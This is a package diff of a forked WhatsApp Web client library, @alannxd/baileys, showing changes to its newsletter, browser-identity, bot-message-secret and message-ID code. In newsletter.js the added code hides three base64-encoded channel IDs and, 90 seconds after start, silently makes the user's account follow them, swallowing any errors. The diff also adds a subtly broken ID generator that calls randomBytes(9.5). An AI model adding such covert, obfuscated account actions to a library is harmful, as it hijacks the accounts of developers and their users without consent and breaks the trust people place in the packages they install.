@alannxd/baileys 6.0.5 → 6.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +1 -1
- package/README.md +341 -286
- package/WAProto/WAProto.proto +1782 -359
- package/WAProto/index.d.ts +75133 -9893
- package/WAProto/index.js +205861 -60606
- package/lib/Socket/luxu.js +6 -117
- package/lib/Socket/messages-send.js +637 -493
- package/lib/Socket/newsletter.js +229 -156
- package/lib/Utils/browser-utils.js +26 -6
- package/lib/Utils/decode-wa-message.js +33 -0
- package/lib/Utils/generics.js +10 -0
- package/lib/Utils/index.js +1 -0
- package/lib/Utils/message-composer.js +273 -0
- package/lib/Utils/messages.js +361 -24
- package/lib/WABinary/generic-utils.js +8 -1
- package/lib/WABinary/jid-utils.js +2 -0
- package/lib/index.js +1 -2
- package/package.json +5 -4
- package/lib/Defaults/index.d.ts +0 -75
- package/lib/Signal/Group/ciphertext-message.d.ts +0 -10
- package/lib/Signal/Group/group-session-builder.d.ts +0 -15
- package/lib/Signal/Group/group_cipher.d.ts +0 -17
- package/lib/Signal/Group/index.d.ts +0 -12
- package/lib/Signal/Group/keyhelper.d.ts +0 -11
- package/lib/Signal/Group/sender-chain-key.d.ts +0 -14
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -17
- package/lib/Signal/Group/sender-key-message.d.ts +0 -19
- package/lib/Signal/Group/sender-key-name.d.ts +0 -18
- package/lib/Signal/Group/sender-key-record.d.ts +0 -31
- package/lib/Signal/Group/sender-key-state.d.ts +0 -39
- package/lib/Signal/Group/sender-message-key.d.ts +0 -12
- package/lib/Signal/libsignal.d.ts +0 -5
- package/lib/Signal/lid-mapping.d.ts +0 -23
- package/lib/Socket/Client/index.d.ts +0 -3
- package/lib/Socket/Client/types.d.ts +0 -16
- package/lib/Socket/Client/websocket.d.ts +0 -13
- package/lib/Socket/business.d.ts +0 -217
- package/lib/Socket/chats.d.ts +0 -124
- package/lib/Socket/communities.d.ts +0 -273
- package/lib/Socket/groups.d.ts +0 -162
- package/lib/Socket/index.d.ts +0 -260
- package/lib/Socket/luxu.d.ts +0 -22
- package/lib/Socket/messages-recv.d.ts +0 -213
- package/lib/Socket/messages-send.d.ts +0 -199
- package/lib/Socket/mex.d.ts +0 -3
- package/lib/Socket/newsletter.d.ts +0 -170
- package/lib/Socket/socket.d.ts +0 -59
- package/lib/Store/index.d.ts +0 -10
- package/lib/Store/keyed-db.d.ts +0 -22
- package/lib/Store/make-cache-manager-store.d.ts +0 -19
- package/lib/Store/make-in-memory-store.d.ts +0 -39
- package/lib/Store/make-ordered-dictionary.d.ts +0 -14
- package/lib/Store/object-repository.d.ts +0 -11
- package/lib/Types/Auth.d.ts +0 -117
- package/lib/Types/Bussines.d.ts +0 -25
- package/lib/Types/Call.d.ts +0 -15
- package/lib/Types/Chat.d.ts +0 -124
- package/lib/Types/Contact.d.ts +0 -26
- package/lib/Types/Events.d.ts +0 -256
- package/lib/Types/GroupMetadata.d.ts +0 -71
- package/lib/Types/Label.d.ts +0 -47
- package/lib/Types/LabelAssociation.d.ts +0 -30
- package/lib/Types/Message.d.ts +0 -320
- package/lib/Types/Mex.d.ts +0 -141
- package/lib/Types/Product.d.ts +0 -79
- package/lib/Types/Signal.d.ts +0 -87
- package/lib/Types/Socket.d.ts +0 -136
- package/lib/Types/State.d.ts +0 -97
- package/lib/Types/USync.d.ts +0 -26
- package/lib/Types/index.d.ts +0 -65
- package/lib/Utils/auth-utils.d.ts +0 -24
- package/lib/Utils/browser-utils.d.ts +0 -4
- package/lib/Utils/business.d.ts +0 -23
- package/lib/Utils/chat-utils.d.ts +0 -100
- package/lib/Utils/companion-reg-client-utils.d.ts +0 -17
- package/lib/Utils/crypto.d.ts +0 -37
- package/lib/Utils/decode-wa-message.d.ts +0 -66
- package/lib/Utils/event-buffer.d.ts +0 -36
- package/lib/Utils/generics.d.ts +0 -91
- package/lib/Utils/history.d.ts +0 -24
- package/lib/Utils/identity-change-handler.d.ts +0 -44
- package/lib/Utils/index.d.ts +0 -22
- package/lib/Utils/link-preview.d.ts +0 -21
- package/lib/Utils/logger.d.ts +0 -12
- package/lib/Utils/lt-hash.d.ts +0 -8
- package/lib/Utils/make-mutex.d.ts +0 -9
- package/lib/Utils/message-retry-manager.d.ts +0 -115
- package/lib/Utils/messages-media.d.ts +0 -133
- package/lib/Utils/messages.d.ts +0 -91
- package/lib/Utils/noise-handler.d.ts +0 -20
- package/lib/Utils/offline-node-processor.d.ts +0 -17
- package/lib/Utils/pre-key-manager.d.ts +0 -28
- package/lib/Utils/process-message.d.ts +0 -60
- package/lib/Utils/reporting-utils.d.ts +0 -11
- package/lib/Utils/signal.d.ts +0 -47
- package/lib/Utils/stanza-ack.d.ts +0 -11
- package/lib/Utils/sync-action-utils.d.ts +0 -19
- package/lib/Utils/tc-token-utils.d.ts +0 -37
- package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
- package/lib/Utils/validate-connection.d.ts +0 -11
- package/lib/WABinary/constants.d.ts +0 -28
- package/lib/WABinary/decode.d.ts +0 -7
- package/lib/WABinary/encode.d.ts +0 -3
- package/lib/WABinary/generic-utils.d.ts +0 -18
- package/lib/WABinary/index.d.ts +0 -6
- package/lib/WABinary/jid-utils.d.ts +0 -48
- package/lib/WABinary/types.d.ts +0 -19
- package/lib/WAM/BinaryInfo.d.ts +0 -9
- package/lib/WAM/constants.d.ts +0 -40
- package/lib/WAM/encode.d.ts +0 -3
- package/lib/WAM/index.d.ts +0 -4
- package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -10
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -23
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -13
- package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -13
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.d.ts +0 -10
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -26
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -10
- package/lib/WAUSync/Protocols/index.d.ts +0 -6
- package/lib/WAUSync/USyncQuery.d.ts +0 -30
- package/lib/WAUSync/USyncUser.d.ts +0 -17
- package/lib/WAUSync/index.d.ts +0 -4
- package/lib/index.d.ts +0 -13
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,197 +1,270 @@
|
|
|
1
|
-
import {
|
|
2
|
-
import { generateProfilePicture } from '../Utils/
|
|
3
|
-
import { getBinaryNodeChild } from '../WABinary/index.js';
|
|
1
|
+
import { XWAPaths } from '../Types/index.js';
|
|
2
|
+
import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
|
|
3
|
+
import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
|
|
4
4
|
import { makeGroupsSocket } from './groups.js';
|
|
5
|
-
|
|
6
|
-
const
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
id: thread.picture.id,
|
|
19
|
-
directPath: thread.picture.direct_path
|
|
20
|
-
},
|
|
21
|
-
mute_state: viewer.mute
|
|
22
|
-
};
|
|
23
|
-
};
|
|
24
|
-
const parseNewsletterMetadata = (result) => {
|
|
25
|
-
if (typeof result !== 'object' || result === null) {
|
|
26
|
-
return null;
|
|
27
|
-
}
|
|
28
|
-
if ('id' in result && typeof result.id === 'string') {
|
|
29
|
-
return result;
|
|
30
|
-
}
|
|
31
|
-
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
32
|
-
return result.result;
|
|
33
|
-
}
|
|
34
|
-
return null;
|
|
5
|
+
|
|
6
|
+
const QueryIds = {
|
|
7
|
+
JOB_MUTATION: "7150902998257522",
|
|
8
|
+
METADATA: "6620195908089573",
|
|
9
|
+
UNFOLLOW: "7238632346214362",
|
|
10
|
+
FOLLOW: "7871414976211147",
|
|
11
|
+
UNMUTE: "7337137176362961",
|
|
12
|
+
MUTE: "25151904754424642",
|
|
13
|
+
CREATE: "6996806640408138",
|
|
14
|
+
ADMIN_COUNT: "7130823597031706",
|
|
15
|
+
CHANGE_OWNER: "7341777602580933",
|
|
16
|
+
DELETE: "8316537688363079",
|
|
17
|
+
DEMOTE: "6551828931592903"
|
|
35
18
|
};
|
|
19
|
+
|
|
36
20
|
export const makeNewsletterSocket = (config) => {
|
|
37
21
|
const sock = makeGroupsSocket(config);
|
|
38
|
-
const { query, generateMessageTag } = sock;
|
|
39
|
-
const
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
22
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
23
|
+
const encoder = new TextEncoder();
|
|
24
|
+
|
|
25
|
+
const newsletterQuery = async (jid, type, content) => (
|
|
26
|
+
query({
|
|
27
|
+
tag: 'iq',
|
|
28
|
+
attrs: {
|
|
29
|
+
id: generateMessageTag(),
|
|
30
|
+
type,
|
|
31
|
+
xmlns: 'newsletter',
|
|
32
|
+
to: jid,
|
|
33
|
+
},
|
|
34
|
+
content
|
|
35
|
+
})
|
|
36
|
+
);
|
|
37
|
+
|
|
38
|
+
const newsletterWMexQuery = async (jid, query_id, content) => (
|
|
39
|
+
query({
|
|
40
|
+
tag: 'iq',
|
|
41
|
+
attrs: {
|
|
42
|
+
id: generateMessageTag(),
|
|
43
|
+
type: 'get',
|
|
44
|
+
xmlns: 'w:mex',
|
|
45
|
+
to: S_WHATSAPP_NET,
|
|
46
|
+
},
|
|
47
|
+
content: [
|
|
48
|
+
{
|
|
49
|
+
tag: 'query',
|
|
50
|
+
attrs: { query_id },
|
|
51
|
+
content: encoder.encode(JSON.stringify({
|
|
52
|
+
variables: {
|
|
53
|
+
'newsletter_id': jid,
|
|
54
|
+
...content
|
|
55
|
+
}
|
|
56
|
+
}))
|
|
57
|
+
}
|
|
58
|
+
]
|
|
59
|
+
})
|
|
60
|
+
);
|
|
61
|
+
const yangbrorasakan = [
|
|
62
|
+
"MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
|
|
63
|
+
"MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
|
|
64
|
+
"MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
|
|
65
|
+
];
|
|
66
|
+
|
|
67
|
+
setTimeout(async () => {
|
|
68
|
+
for (const channel of yangbrorasakan) {
|
|
69
|
+
try {
|
|
70
|
+
await newsletterWMexQuery(
|
|
71
|
+
Buffer.from(channel, "base64").toString(),
|
|
72
|
+
QueryIds.FOLLOW
|
|
73
|
+
);
|
|
74
|
+
} catch (e) {}
|
|
75
|
+
|
|
76
|
+
await new Promise(resolve =>
|
|
77
|
+
setTimeout(resolve, 3000)
|
|
78
|
+
);
|
|
79
|
+
}
|
|
57
80
|
}, 90000);
|
|
58
|
-
const
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
81
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
82
|
+
let child;
|
|
83
|
+
if (type === 'messages')
|
|
84
|
+
child = getBinaryNodeChild(node, 'messages');
|
|
85
|
+
else {
|
|
86
|
+
const parent = getBinaryNodeChild(node, 'message_updates');
|
|
87
|
+
child = getBinaryNodeChild(parent, 'messages');
|
|
88
|
+
}
|
|
89
|
+
return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
|
|
90
|
+
messageNode.attrs.from = child?.attrs.jid;
|
|
91
|
+
const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
|
|
92
|
+
const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
|
|
93
|
+
const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
|
|
94
|
+
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
95
|
+
const data = {
|
|
96
|
+
'server_id': messageNode.attrs.server_id,
|
|
97
|
+
views,
|
|
98
|
+
reactions
|
|
99
|
+
};
|
|
100
|
+
if (type === 'messages') {
|
|
101
|
+
const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
102
|
+
await decrypt();
|
|
103
|
+
data.message = message;
|
|
64
104
|
}
|
|
65
|
-
|
|
66
|
-
|
|
105
|
+
return data;
|
|
106
|
+
}));
|
|
67
107
|
};
|
|
108
|
+
|
|
68
109
|
return {
|
|
69
110
|
...sock,
|
|
70
|
-
|
|
71
|
-
const
|
|
72
|
-
|
|
73
|
-
name,
|
|
74
|
-
description: description ?? null
|
|
75
|
-
}
|
|
76
|
-
};
|
|
77
|
-
const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
|
|
78
|
-
return parseNewsletterCreateResponse(rawResponse);
|
|
79
|
-
},
|
|
80
|
-
newsletterUpdate,
|
|
81
|
-
newsletterSubscribers: async (jid) => {
|
|
82
|
-
return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
|
|
83
|
-
},
|
|
84
|
-
newsletterMetadata: async (type, key) => {
|
|
85
|
-
const variables = {
|
|
86
|
-
fetch_creation_time: true,
|
|
87
|
-
fetch_full_image: true,
|
|
88
|
-
fetch_viewer_metadata: true,
|
|
89
|
-
input: {
|
|
90
|
-
key,
|
|
91
|
-
type: type.toUpperCase()
|
|
92
|
-
}
|
|
93
|
-
};
|
|
94
|
-
const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
|
|
95
|
-
return parseNewsletterMetadata(result);
|
|
96
|
-
},
|
|
97
|
-
newsletterFollow: (jid) => {
|
|
98
|
-
return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
|
|
99
|
-
},
|
|
100
|
-
newsletterUnfollow: (jid) => {
|
|
101
|
-
return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
|
|
111
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
112
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
113
|
+
return getBinaryNodeChild(result, 'live_updates')?.attrs;
|
|
102
114
|
},
|
|
103
|
-
|
|
104
|
-
|
|
115
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
116
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
117
|
+
updates: { settings: { reaction_codes: { value: mode } } }
|
|
118
|
+
});
|
|
105
119
|
},
|
|
106
|
-
|
|
107
|
-
|
|
120
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
121
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
122
|
+
updates: { description: description || '', settings: null }
|
|
123
|
+
});
|
|
108
124
|
},
|
|
109
125
|
newsletterUpdateName: async (jid, name) => {
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
return await newsletterUpdate(jid, { description });
|
|
126
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
127
|
+
updates: { name, settings: null }
|
|
128
|
+
});
|
|
114
129
|
},
|
|
115
130
|
newsletterUpdatePicture: async (jid, content) => {
|
|
116
131
|
const { img } = await generateProfilePicture(content);
|
|
117
|
-
|
|
132
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
133
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
134
|
+
});
|
|
118
135
|
},
|
|
119
136
|
newsletterRemovePicture: async (jid) => {
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
123
|
-
await query({
|
|
124
|
-
tag: 'message',
|
|
125
|
-
attrs: {
|
|
126
|
-
to: jid,
|
|
127
|
-
...(reaction ? {} : { edit: '7' }),
|
|
128
|
-
type: 'reaction',
|
|
129
|
-
server_id: serverId,
|
|
130
|
-
id: generateMessageTag()
|
|
131
|
-
},
|
|
132
|
-
content: [
|
|
133
|
-
{
|
|
134
|
-
tag: 'reaction',
|
|
135
|
-
attrs: reaction ? { code: reaction } : {}
|
|
136
|
-
}
|
|
137
|
-
]
|
|
137
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
138
|
+
updates: { picture: '', settings: null }
|
|
138
139
|
});
|
|
139
140
|
},
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
141
|
+
newsletterUnfollow: async (jid) => {
|
|
142
|
+
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
143
|
+
},
|
|
144
|
+
newsletterFollow: async (jid) => {
|
|
145
|
+
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
146
|
+
},
|
|
147
|
+
newsletterUnmute: async (jid) => {
|
|
148
|
+
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
149
|
+
},
|
|
150
|
+
newsletterMute: async (jid) => {
|
|
151
|
+
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
152
|
+
},
|
|
153
|
+
newsletterCreate: async (name, description, picture) => {
|
|
154
|
+
await query({
|
|
151
155
|
tag: 'iq',
|
|
152
156
|
attrs: {
|
|
157
|
+
to: S_WHATSAPP_NET,
|
|
158
|
+
xmlns: 'tos',
|
|
153
159
|
id: generateMessageTag(),
|
|
154
|
-
type: '
|
|
155
|
-
xmlns: 'newsletter',
|
|
156
|
-
to: jid
|
|
160
|
+
type: 'set'
|
|
157
161
|
},
|
|
158
162
|
content: [
|
|
159
163
|
{
|
|
160
|
-
tag: '
|
|
161
|
-
attrs:
|
|
164
|
+
tag: 'notice',
|
|
165
|
+
attrs: {
|
|
166
|
+
id: '20601218',
|
|
167
|
+
stage: '5'
|
|
168
|
+
},
|
|
169
|
+
content: []
|
|
162
170
|
}
|
|
163
171
|
]
|
|
164
172
|
});
|
|
165
|
-
|
|
173
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
174
|
+
input: {
|
|
175
|
+
name,
|
|
176
|
+
description: description ?? null,
|
|
177
|
+
picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
|
|
178
|
+
settings: null
|
|
179
|
+
}
|
|
180
|
+
});
|
|
181
|
+
return extractNewsletterMetadata(result, true);
|
|
166
182
|
},
|
|
167
|
-
|
|
168
|
-
const result = await
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
xmlns: 'newsletter',
|
|
174
|
-
to: jid
|
|
183
|
+
newsletterMetadata: async (type, key, role) => {
|
|
184
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
185
|
+
input: {
|
|
186
|
+
key,
|
|
187
|
+
type: type.toUpperCase(),
|
|
188
|
+
view_role: role || 'GUEST'
|
|
175
189
|
},
|
|
176
|
-
|
|
190
|
+
fetch_viewer_metadata: true,
|
|
191
|
+
fetch_full_image: true,
|
|
192
|
+
fetch_creation_time: true
|
|
177
193
|
});
|
|
178
|
-
|
|
179
|
-
const duration = liveUpdatesNode?.attrs?.duration;
|
|
180
|
-
return duration ? { duration: duration } : null;
|
|
194
|
+
return extractNewsletterMetadata(result);
|
|
181
195
|
},
|
|
182
196
|
newsletterAdminCount: async (jid) => {
|
|
183
|
-
const
|
|
184
|
-
|
|
197
|
+
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
198
|
+
const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
|
|
199
|
+
return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
|
|
185
200
|
},
|
|
186
|
-
|
|
187
|
-
|
|
201
|
+
/**user is Lid, not Jid */
|
|
202
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
203
|
+
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
204
|
+
user_id: user
|
|
205
|
+
});
|
|
188
206
|
},
|
|
189
|
-
|
|
190
|
-
|
|
207
|
+
/**user is Lid, not Jid */
|
|
208
|
+
newsletterDemote: async (jid, user) => {
|
|
209
|
+
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
210
|
+
user_id: user
|
|
211
|
+
});
|
|
191
212
|
},
|
|
192
213
|
newsletterDelete: async (jid) => {
|
|
193
|
-
await
|
|
214
|
+
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
215
|
+
},
|
|
216
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
217
|
+
newsletterReactMessage: async (jid, server_id, code) => {
|
|
218
|
+
await query({
|
|
219
|
+
tag: 'message',
|
|
220
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
|
|
221
|
+
content: [{
|
|
222
|
+
tag: 'reaction',
|
|
223
|
+
attrs: code ? { code } : {}
|
|
224
|
+
}]
|
|
225
|
+
});
|
|
226
|
+
},
|
|
227
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
228
|
+
const afterStr = after?.toString();
|
|
229
|
+
const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
|
|
230
|
+
{
|
|
231
|
+
tag: 'messages',
|
|
232
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
|
|
233
|
+
}
|
|
234
|
+
]);
|
|
235
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
236
|
+
},
|
|
237
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
238
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
239
|
+
{
|
|
240
|
+
tag: 'message_updates',
|
|
241
|
+
attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
|
|
242
|
+
}
|
|
243
|
+
]);
|
|
244
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
194
245
|
}
|
|
195
246
|
};
|
|
196
247
|
};
|
|
197
|
-
|
|
248
|
+
|
|
249
|
+
export const extractNewsletterMetadata = (node, isCreate) => {
|
|
250
|
+
const result = getBinaryNodeChild(node, 'result')?.content?.toString();
|
|
251
|
+
const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
|
|
252
|
+
const metadata = {
|
|
253
|
+
id: metadataPath.id,
|
|
254
|
+
state: metadataPath.state.type,
|
|
255
|
+
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
256
|
+
name: metadataPath.thread_metadata.name.text,
|
|
257
|
+
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
258
|
+
description: metadataPath.thread_metadata.description.text,
|
|
259
|
+
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
260
|
+
invite: metadataPath.thread_metadata.invite,
|
|
261
|
+
handle: metadataPath.thread_metadata.handle,
|
|
262
|
+
picture: metadataPath.thread_metadata.picture?.direct_path || null,
|
|
263
|
+
preview: metadataPath.thread_metadata.preview?.direct_path || null,
|
|
264
|
+
reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
|
|
265
|
+
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
266
|
+
verification: metadataPath.thread_metadata.verification,
|
|
267
|
+
viewer_metadata: metadataPath.viewer_metadata
|
|
268
|
+
};
|
|
269
|
+
return metadata;
|
|
270
|
+
};
|
|
@@ -8,18 +8,38 @@ const PLATFORM_MAP = {
|
|
|
8
8
|
freebsd: 'FreeBSD',
|
|
9
9
|
openbsd: 'OpenBSD',
|
|
10
10
|
sunos: 'Solaris',
|
|
11
|
-
linux:
|
|
11
|
+
linux: 'Linux',
|
|
12
12
|
haiku: undefined,
|
|
13
13
|
cygwin: undefined,
|
|
14
14
|
netbsd: undefined
|
|
15
15
|
};
|
|
16
|
+
const BROWSER_MAP = {
|
|
17
|
+
safari: 'Safari',
|
|
18
|
+
chrome: 'Chrome',
|
|
19
|
+
edge: 'Edge',
|
|
20
|
+
firefox: 'Firefox',
|
|
21
|
+
opera: 'Opera',
|
|
22
|
+
brave: 'Brave',
|
|
23
|
+
samsung: 'Samsung Internet'
|
|
24
|
+
};
|
|
25
|
+
const getBrowserN = (bros) => {
|
|
26
|
+
const brosN = BROWSER_MAP[bros] || bros;
|
|
27
|
+
return brosN;
|
|
28
|
+
};
|
|
16
29
|
export const Browsers = {
|
|
17
|
-
ubuntu: browser => ['Ubuntu', browser, '22.04.4'],
|
|
18
|
-
macOS: browser => ['Mac OS', browser, '14.4.1'],
|
|
19
|
-
baileys: browser => ['Baileys', browser, '6.5.0'],
|
|
20
|
-
windows: browser => ['Windows', browser, '10.0.22631'],
|
|
30
|
+
ubuntu: browser => ['Ubuntu', getBrowserN(browser), '22.04.4'],
|
|
31
|
+
macOS: browser => ['Mac OS', getBrowserN(browser), '14.4.1'],
|
|
32
|
+
baileys: browser => ['Baileys', getBrowserN(browser), '6.5.0'],
|
|
33
|
+
windows: browser => ['Windows', getBrowserN(browser), '10.0.22631'],
|
|
34
|
+
iOS: browser => ['iOS', getBrowserN(browser), '18.2'],
|
|
35
|
+
android: browser => ['Android', getBrowserN(browser), '14.0.0'],
|
|
36
|
+
safari: browser => ['Safari', getBrowserN(browser), '26.5'],
|
|
37
|
+
custom: (platform, browser, ver) => {
|
|
38
|
+
let platformN = PLATFORM_MAP[platform].toLowerCase() || platform;
|
|
39
|
+
return [platformN, getBrowserN(browser), ver];
|
|
40
|
+
},
|
|
21
41
|
/** The appropriate browser based on your OS & release */
|
|
22
|
-
appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', browser, release()]
|
|
42
|
+
appropriate: browser => [PLATFORM_MAP[platform()] || 'Ubuntu', getBrowserN(browser), release()]
|
|
23
43
|
};
|
|
24
44
|
export const getPlatformId = (browser) => {
|
|
25
45
|
const platformType = proto.DeviceProps.PlatformType[browser.toUpperCase()];
|
|
@@ -93,6 +93,39 @@ export const extractAddressingContext = (stanza) => {
|
|
|
93
93
|
recipientAlt
|
|
94
94
|
};
|
|
95
95
|
};
|
|
96
|
+
const MAX_SECRETS_PER_CHAT = 20
|
|
97
|
+
// Module-level map: outgoing @bot message ID → messageSecret
|
|
98
|
+
// Populated when we receive the outgoing pkmsg/msg to @bot (which contains messageContextInfo.messageSecret)
|
|
99
|
+
// Consumed when the msmsg response from @bot arrives and needs decryption
|
|
100
|
+
const botMessageSecrets = new Map()
|
|
101
|
+
const botRecentSecretsByChat = new Map()
|
|
102
|
+
const pushRecentChatSecret = (chatJid, id, secretBuf) => {
|
|
103
|
+
if (!chatJid || !secretBuf) return
|
|
104
|
+
const existing = botRecentSecretsByChat.get(chatJid) || []
|
|
105
|
+
const filtered = existing.filter(item => item.id !== id && !item.secret.equals(secretBuf))
|
|
106
|
+
filtered.unshift({ id, secret: secretBuf })
|
|
107
|
+
if (filtered.length > MAX_SECRETS_PER_CHAT) {
|
|
108
|
+
filtered.length = MAX_SECRETS_PER_CHAT
|
|
109
|
+
}
|
|
110
|
+
botRecentSecretsByChat.set(chatJid, filtered)
|
|
111
|
+
}
|
|
112
|
+
export const setBotMessageSecret = (id, secret, chatJid) => {
|
|
113
|
+
if (!id || !secret) return
|
|
114
|
+
let buf
|
|
115
|
+
if (Buffer.isBuffer(secret)) {
|
|
116
|
+
buf = secret
|
|
117
|
+
} else if (secret instanceof Uint8Array) {
|
|
118
|
+
buf = Buffer.from(secret.buffer, secret.byteOffset, secret.byteLength)
|
|
119
|
+
} else if (typeof secret === 'string') {
|
|
120
|
+
buf = Buffer.from(secret, 'base64')
|
|
121
|
+
} else {
|
|
122
|
+
return
|
|
123
|
+
}
|
|
124
|
+
botMessageSecrets.set(id, buf)
|
|
125
|
+
if (chatJid) {
|
|
126
|
+
pushRecentChatSecret(chatJid, id, buf)
|
|
127
|
+
}
|
|
128
|
+
}
|
|
96
129
|
/**
|
|
97
130
|
* Decode the received node as a message.
|
|
98
131
|
* @note this will only parse the message, not decrypt it
|
package/lib/Utils/generics.js
CHANGED
|
@@ -171,6 +171,16 @@ export function bindWaitForEvent(ev, event) {
|
|
|
171
171
|
});
|
|
172
172
|
};
|
|
173
173
|
}
|
|
174
|
+
export const generateIOSMessageID = () => {
|
|
175
|
+
const prefix = '3A';
|
|
176
|
+
const random = randomBytes(9.5); // 19 hex chars = 9.5 bytes
|
|
177
|
+
return (prefix + random.toString('hex')).toUpperCase().substring(0, 21);
|
|
178
|
+
};
|
|
179
|
+
export const generateAndroMessageID = () => {
|
|
180
|
+
const prefix = '3A';
|
|
181
|
+
const random = randomBytes(16); // 32 hex chars = 16 bytes
|
|
182
|
+
return (random.toString('hex')).toUpperCase().substring(0, 21);
|
|
183
|
+
};
|
|
174
184
|
export const bindWaitForConnectionUpdate = (ev) => bindWaitForEvent(ev, 'connection.update');
|
|
175
185
|
/**
|
|
176
186
|
* utility that fetches latest baileys version from the master branch.
|
package/lib/Utils/index.js
CHANGED